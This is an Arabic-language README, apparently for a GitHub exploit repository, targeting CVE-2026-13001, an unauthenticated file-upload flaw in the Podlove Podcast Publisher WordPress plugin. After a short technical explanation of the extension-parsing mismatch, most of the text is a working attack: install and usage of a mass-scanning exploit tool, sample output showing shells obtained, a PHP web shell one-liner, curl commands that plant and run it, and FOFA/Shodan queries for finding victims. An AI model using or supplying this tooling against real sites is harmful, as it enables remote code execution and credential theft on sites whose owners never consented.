
استغلال لـ CVE-2026-13001، رفع ملفات تعسفي غير مصادق عليه في إضافة Podlove Podcast Publisher لـ WordPress، مما يتيح تنفيذ الأكواد عن بُعد عبر رفع ملف PHP متعدد الصيغ. يتضمن أوضاع الفحص لهدف واحد والفحص الجماعي.
CVE-2026-13001 هي ثغرة رفع ملفات عشوائية غير مصادق عليها بدرجة خطورة حرجة (CVSS 9.8) في إضافة Podlove Podcast Publisher لووردبريس بإصدارات ≤ 4.5.1.
تستغل الثغرة عدم تطابق بين دالتين داخليتين تقومان بتحليل امتدادات الملفات بشكل مختلف:
is_image() تستخدم التي ← عنوان URL يظهر كـ ✅ (صورة صالحة)basename()shell.php?.gif.gifextract_file_extension() تستخدم مسار parse_url() فقط ← تُرجع .php ← يُحفظ الملف بامتداد .php 🚨يقوم المهاجمون برفع ملفات GIF89a متعددة الصيغ PHP (ترويسة GIF صالحة + PHP مضمّنة) التي تجتاز التحقق من الصورة ولكنها تُنفَّذ كـ PHP عند الوصول إليها.
| الإصدار | الحالة |
|---|---|
| ≤ 4.5.1 | متأثر |
| 4.5.2+ | مُصحَّح |
اكتُشفت بواسطة: Talal Nasraddeen عبر Wordfence (14 يوليو 2026)
// is_image() — تستخدم basename() التي تتضمن سلسلة الاستعلام
function is_image($url) {
$ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ تم تجاوزها
// extract_file_extension() — تستخدم مسار parse_url() فقط
function extract_file_extension($url) {
$path = parse_url($url, PHP_URL_PATH);
return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 يُحفظ كـ .php
1. يستضيف المهاجم ملف GIF89a متعدد الصيغ PHP على attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. تتحقق is_image() من امتداد .gif ← نجاح
4. يقوم الإضافة بتحميل الملف ← يحفظه كـ test_original.php في cache/
5. يصل المهاجم إلى /wp-content/cache/podlove/{hash}/test_original.php
6. يُنفَّذ PHP ← تنفيذ أوامر عن بُعد
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
# هدف واحد
python cve_2026_13001.py -t target.com
# فحص جماعي
python cve_2026_13001.py -f targets.txt -o shells.txt
# عنوان حمولة مخصص
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif
# وضع التصحيح، مع ترك القوائم
python cve_2026_13001.py -t target.com --debug --no-cleanup
-t, --target هدف واحد (نطاق أو IP)
-f, --file قائمة الأهداف، هدف واحد في كل سطر
-o, --output حفظ عناوين RCE في ملف
--payload-url عنوان URL يستضيف ملف PHP متعدد الصيغ (الافتراضي: GitHub raw)
--threads عدد العمال المتزامنين (الافتراضي: 30)
--no-cleanup ترك القوائم على الهدف
--debug عرض كل طلب HTTP
-v, --verbose إخراج تفصيلي
$ python cve_2026_13001.py -t podcast-site.com
Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
Host : podcast-site.com
Podlove : YES v4.5.1
Upload : YES
RCE : YES
Shell : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
Output : uid=33(www-data) gid=33(www-data)
Time : 4.2s
Targets: 500 | Threads: 30
Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
[RCE] podcast-vuln-01.com https://podcast-vuln-01.com/wp-content/cache/podlove/...
[150/500] 30% | Det:42 RCE:8
الخطوة 1 — استضافة قشرة متعددة الصيغ
// shell.php — احفظه واستضفه على خادمك
GIF89a<?php system($_GET['c']); ?>
الخطوة 2 — ترميز عنوان URL بالنظام الست عشري مع التجاوز
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
الخطوة 3 — تشغيل تحميل الكاش
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
الخطوة 4 — الوصول إلى القشرة
# المسار: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
FOFA: body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"
الاستغلال الناجح يحقق تنفيذ أوامر عن بُعد كمستخدم خادم الويب:
wp-config.php ← بيانات اعتماد قاعدة البياناتلأغراض تعليمية واختبارات مصرح بها فقط.
لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.
| المصدر | الرابط |
|---|---|
| استشارة Wordfence | wordfence.com |
| إصدار Podlove الأمني | podlove.org |
| إدخال NVD | CVE-2026-13001 |
| الباحث | Talal Nasraddeen |
غير مرتبط بـ Podlove.